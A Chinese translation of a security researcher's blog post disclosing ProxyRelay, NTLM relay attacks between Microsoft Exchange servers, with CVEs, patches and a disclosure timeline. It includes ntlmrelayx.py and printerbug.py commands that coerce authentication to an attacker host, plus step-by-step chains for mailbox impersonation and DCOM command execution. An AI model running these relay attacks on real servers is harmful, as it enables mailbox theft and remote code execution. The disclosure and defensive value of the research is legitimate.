Orange：MS Exchange上的新攻击面第四部分 - ProxyRelay！

这是来自DEVCORE的交叉发布博客。您可以在以下位置查看该系列：

• MS Exchange上的新攻击面第一部分 - ProxyLogon！
• MS Exchange上的新攻击面第二部分 - ProxyOracle！
• MS Exchange上的新攻击面第三部分 - ProxyShell！
• MS Exchange上的新攻击面第四部分 - ProxyRelay！

嗨，这是一篇拖延已久的文章。我们本可以更早发布这篇文章（原始漏洞于2021年6月向MSRC报告，遵循90天公开披露政策）。但在与MSRC沟通期间，他们解释说由于这是一个架构设计问题，需要进行大量代码更改和测试，因此他们希望通过一次性CU（累积更新）而不是常规的补丁星期二来解决这个问题。我们理解他们的情况并同意延长截止日期。

微软最终于2022年4月20日发布了Exchange Server 2019 CU 12和Exchange Server 2016 CU 23。然而，此补丁默认未启用。直到2022年8月9日，微软才发布了补丁激活方法。因此，我们原本有机会在Pwn2Own Vancouver 2021上演示我们的攻击。但我们很快放弃了这个想法，因为我们的目的不是赚取奖金。我们是为了保护世界安全！您可以查看时间线了解详细的披露过程。

想法

自微软在2021年4月阻止了我们的代理相关攻击以来，我一直在思考是否有办法绕过缓解措施。在那次4月补丁中，微软通过要求所有需要Kerberos票证的HTTP请求首先进行身份验证来增强了CAS前端身份验证部分。此增强有效地缓解了我们提出的攻击面，并阻止未经身份验证的HTTP请求访问CAS后端。那么Exchange现在安全了吗？

当然不是，本文就是为了证明这一点！由于微软只修复了有问题的代码，我们在2021年POC和2021年HITCON演讲中提出了几种攻击和可能的弱点。

也许您已经听说我们的第一个预测已经在最近的ProxyNotShell中实现。该攻击重用了ProxyShell的路径混淆，但附加了预先已知的身份验证。这很可靠，但看起来仍然需要有效的身份验证（不确定，仍然没有时间深入研究）。然而，在我的演讲中，我们暗示了另一种不直接与身份验证增强对抗的方法。现在我们终于可以披露它了 :)

以防您不知道，我是Printer Bug的忠实粉丝（感谢Lee Christensen、Will Schroeder和Matt Nelson在DerbyCon 2018上的精彩演讲）。PrinterBug允许攻击者强制任何加入域的机器通过MS-RPRN协议启动与其自身机器账户的SMB连接到攻击者。由于此行为是按设计工作的，这个黑客友好功能多年来已被广泛用于NTLM中继。

在Exchange CAS的架构中，后端通过检查登录身份是否具有ms-Exch-EPI-Token-Serialization的扩展权限来授权HTTP请求具有模拟任何用户的能力。此外，在Exchange Server安装期间，邮箱服务器将自动添加到Exchange Servers组中，并且此Active Directory组中的所有对象默认都具有该Token-Serialization权限。

基于上述知识，我想到了一个简单的想法。在企业网络中常见多个Exchange Server以实现高可用性和站点弹性。我们能否在Exchange Server之间中继NTLM身份验证？

这种中继想法有几个优点。由于它是跨机器中继，因此不受同主机限制的约束。此外，由于NTLM身份验证是由Exchange Server的机器账户发起的，中继的身份验证拥有Token-Serialization权限，允许我们在Exchange服务中模拟任何用户。我相信这是一个绝妙的想法，并希望探索它是否可利用！

漏洞

让我们谈谈漏洞。由于这是一个完整的攻击面而不是单个错误，这个想法可以应用于不同的上下文，导致不同的漏洞。这些漏洞的影响是攻击者可以绕过Exchange身份验证，甚至无需用户交互即可获得代码执行。以下是迄今为止相关的CVE：

• CVE-2021-33768 - 中继到Exchange前端
• CVE-2022-21979 - 中继到Exchange后端
• CVE-2021-26414 - 中继到Exchange DCOM
• CVE-2022-RESERVED - 中继到Exchange的其他服务

以下攻击具有相似的模板，主机EX01代表第一个Exchange Server，EX02代表第二个Exchange Server，ATTACKER代表攻击者控制的服务器。

在所有攻击中，攻击者强制第一个Exchange Server启动到他的NTLM身份验证，并将其转发到第二个Exchange Server。我们使用printerbug.py强制服务器启动SMB连接，并使用ntlmrelayx.py捕获NTLM并将身份验证中继到另一个Exchange Server。

第一轮 - 中继到Exchange前端

对于第一个上下文，我们尝试将身份验证中继到另一个Exchange Server的前端。由于中继身份验证的身份是Exchange的机器账户，它拥有Token-Serialization权限，我们可以模拟任何用户！这里我们以中继从EX01到EX02前端EWS服务的NTLM身份验证作为展示。我们通过自定义httpattack.py实现中继到前端EWS攻击！以下是一个简单概述：

1. 在ATTACKER服务器上运行ntlmrelayx.py以等待NTLM身份验证。
2. 使用printerbug.py强制EX01启动到ATTACKER的SMB连接。
3. 在ATTACKER上接收SMB连接，并将NTLM blob中继到EX02。
4. 完成NTLM握手以获取对EWS端点的完全访问权限。

1
2
3
4
5

# 终端1
$ python ntlmrelayx.py -smb2support -t https://EX02/EWS/Exchange.asmx

# 终端2
$ python printerbug.py EX01 ATTACKER

理论上，我们可以通过EWS操作接管目标邮箱。这里我们提供一个演示来转储管理员邮箱下的秘密。

修补前端

微软分配了CVE-2021-33768，并于2021年7月发布了补丁来修复前端可被中继的问题。由于以前端机器账户登录不是常规操作，通过在Frontend Proxy-Handler上添加IsSystemOrMachineAccount()检查来确保所有前端登录不是机器账户，很容易缓解此攻击。

第二轮 - 中继到Exchange后端

中继到前端可以通过简单检查轻松缓解。那么中继到后端呢？由于后端通过检查是否为机器账户来验证前端请求，缓解后端将更具挑战性，因为这是常规操作，后端需要具有ms-Exch-EPI-Token-Serialization扩展权限的机器账户来模拟所需用户。这里我们提供3个攻击后端的展示。

2-1 攻击后端 /EWS

基于我们介绍的中继到前端EWS攻击，早期的攻击可以无缝重新应用于后端。唯一的更改是将目标端口从443修改为444。

2-2 攻击后端 /RPC

另一个展示是攻击Outlook Anywhere。Exchange定义了几个可以直接操作邮箱的内部RPC服务。这些RPC服务具有公共接口，可以通过/Rpc/*访问，用户可以通过RPC-over-HTTP协议访问自己的邮箱，这在微软的MS-RPCH规范中有描述。对于那些想了解底层机制的人，建议阅读Arseniy Sharoglazov的精彩研究《攻击MS Exchange Web接口》以获取详细信息。

回到我们的攻击，核心逻辑与攻击EWS相同。因为/Rpc/*也位于HTTP/HTTPS上，所以它也是可中继的。一旦我们绕过身份验证并访问路由/Rpc/RpcProxy.dll，我们就可以模拟任何用户并通过RPC-over-HTTP协议操作他的邮箱。为了实现攻击，我们将Ruler Project的大部分内容移植到Impacket。作为此展示的结果，我们可以通过PrinterBug绕过身份验证，并通过Outlook Anywhere操作任何用户的邮箱。整个攻击可以说明为以下步骤：

1. 为RPC I/O建立到EX02的RCP_IN_DATA和RCP_OUT_DATA通道。
2. 在EX01上触发PrinterBug并中继到EX02以完成NTLM握手。
3. 在HTTP头附加X-CommonAccessToken头以指示我们在两个HTTP头上都是Exchange管理员。
4. 通过基于MS-RPCH的MS-OXCRPC和MS-OXCROPS的大量编码工作与Outlook Anywhere交互…

2-3 攻击后端 /PowerShell

我们想强调的最后一个展示是中继到Exchange PowerShell。由于我们绕过了后端IIS上的身份验证，可以再次执行类似ProxyShell的漏洞利用！一旦我们可以执行任意Exchange Cmdlets，因为我们是Exchange管理员，链接后认证RCE应该不难。有数百个用于Exchange管理的Cmdlets，许多过去的案例（CVE-2020-16875、CVE-2020-17083、CVE-2020-17132、CVE-2021-31207等）也证明这不是一项困难的任务。

由于我们决定不参加Pwn2Own，我们没有实现此漏洞利用链。这里我们将其留作读者的练习。;)

2-4 修补后端

微软分配了CVE-2022-21979，并于2022年8月修补了此问题。此修补程序通过在IIS中强制启用扩展保护身份验证，永久消除了后端上的所有中继攻击。

第三轮 - 中继到Windows DCOM

这部分应全部归功于Dlive。行业知道MS-DCOM可被中继自Sylvain Heiniger关于通过RPC中继NTLM身份验证的精彩研究以来已有很长时间。然而，Dlive基于Active Directory环境中Exchange Servers的组继承创建了RCE链。请为他欢呼！

此攻击的想法是Exchange Server的本地管理员组包括组成员Exchange Trusted Subsystem，并且默认所有Exchange Server都在此组中。这意味着机器账户EX01$也是EX02的本地管理员。有了这个概念，中继到MS-DCOM的影响可以最大化并完美应用于Exchange Server！

Dlive在他的DEFCON 29演讲中演示了此攻击。尽管他没有发布漏洞利用代码，但他幻灯片p45中的Wireshark截图已经暗示了一切，足以重现。该过程可以说明如下：

1. 强制EX01启动连接，并将NTLM中继到EX02的Endpoint Mapper（端口135）以获取MMC20.Application的接口。
2. 再次强制EX01，并将NTLM中继到EPMapper分配的动态端口，并在iMMC->Document->ActiveView下调用ExecuteShellCommand(…)。
3. 运行任意命令以获得乐趣和收益！

编写整个漏洞利用很有趣，就像混合dcomexec.py和ntlmrelayx.py一样。建议那些想更了解DCOM机制的人亲手编写自己的漏洞利用代码！

修补DCOM

微软分配了CVE-2021-26414，并于2021年6月修补了此DCOM中继。然而，由于兼容性，服务器端的加固默认禁用。服务器管理员必须通过创建以下注册表项手动激活补丁。如果服务器管理员没有仔细阅读文档，他的Exchange Server在6月补丁后可能仍然易受攻击。

1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel

至于何时在服务器端强制执行保护？根据CVE页面下的FAQ，微软已经解决了分三个阶段推出以完全缓解此问题。现在，它处于第一阶段，补丁在2022年6月14日之前不会默认激活。因此，在撰写本文时，此RCE在最新版本的Exchange Server上仍然可利用！

第四轮 - 中继到其他Exchange服务…

在Exchange Server上使用NTLM作为其身份验证方法的服务可能也易受攻击。在撰写本文时，我们已经发现并向MSRC报告了一个。我们相信应该还有更多，这对于那些想在Exchange Server上发现漏洞的人来说是一个好目标！

结束语

在这里，这个系列终于结束了。在过去的两年里，许多起伏使这段旅程不寻常。从最早与不良行为者的错误碰撞，ITW恐慌，到Pwn2Own黑客竞赛，以及我们的演讲在顶级黑客会议上被接受，我们问心无愧，我们没有做错任何事。然而，在不了解上下文的情况下，对我们的公司和我有许多不正确的猜测和不准确的媒体报道；甚至对我们有卑鄙的打击… 真糟糕。

虽然也有快乐的时刻，例如在顶级黑客竞赛Pwn2Own赢得我们的第一个Master-of-Pwn冠军，并获得Pwnie Awards的最佳服务器端错误，但八卦和巨魔真的骚扰和压抑了我很多…

祝贺我终于可以结束这项研究并开始我的新黑客之旅。我只不过是一个安全书呆子，宁愿花更多时间在黑客技术上，如果我的句子有时简短不清，请不要怪我；用不熟悉的语言表达事物并不容易。我用非母语安排演示或文章大约需要4x~5x的时间；许多单词在提炼过程中丢失了。

希望有一天，不再有语言障碍。在酒吧，喝着啤酒，我们可以整夜谈论黑客技术、文化和黑客！

时间线

• 2021年6月2日 - 我们通过MSRC门户向微软报告了漏洞。
• 2021年6月3日 - MSRC打开了案例。（编号65594）
• 2021年6月3日 - 我们向MSRC附加了90天漏洞披露政策。截止日期是2021年9月1日。
• 2021年6月11日 - MSRC回复说他们的目标是在9月前完成。
• 2021年7月22日 - MSRC表示案例看起来不会在9月前完全解决。
• 2021年7月25日 - 我们说我们可以延长截止日期，并让我们知道新的预计日期。
• 2021年8月25日 - 我们再次询问预计日期。
• 2021年9月1日 - MSRC表示此案例已扩展为设计更改，预计发布日期是2021年12月。
• 2021年9月8日 - 我们询问是否可能缩短时间范围，因为我们想在会议上披露此问题。
• 2021年9月17日 - MSRC回复说没有快速简单的修复，而是设计级更改，他们无法在10月进行更改。
• 2021年10月25日 - 我们决定不在会议上披露，并给团队公平的时间进行修复和测试。我们希望此错误能按计划在2021年12月修复。
• 2021年12月21日 - 我们询问此案例的更新。
• 2021年12月22日 - MSRC回复说他们的目标是将此补丁包含在CU（累积更新）中，而不是SU（安全更新）中，因为更改级别。下一个CU发布日期将在2022年3月。
• 2022年4月4日 - 我们询问我们在3月没有看到CU。新的发布日期是什么时候？
• 2022年4月13日 - MSRC回复说CU延迟了，当前发布日期是2022年4月20日。
• 2022年4月20日 - 微软发布了Exchange Server 2019 CU 12和Exchange Server 2016 CU 23。
• 2022年4月21日 - 我们发现我们的漏洞利用在最新版本的Exchange Server上仍然正常工作，并询问此错误是否真的修复了？
• 2022年4月27日 - MSRC回复说CU包含代码更改，但需要手动或使用脚本激活。仍然有一些测试问题，但手动激活过程将于2022年5月10日公开。
• 2022年5月11日 - MSRC表示文档和脚本已映射到2022年6月（2022年6月14日）的修补星期二。
• 2022年6月10日 - MSRC表示测试仍然存在一些问题，他们希望在2022年7月发布此补丁。
• 2022年7月4日 - 我们询问是否会在本月的修补星期二发布。
• 2022年8月10日 - 没有看到任何内容，再次询问。
• 2022年8月18日 - 微软发布了CVE和补丁激活文档！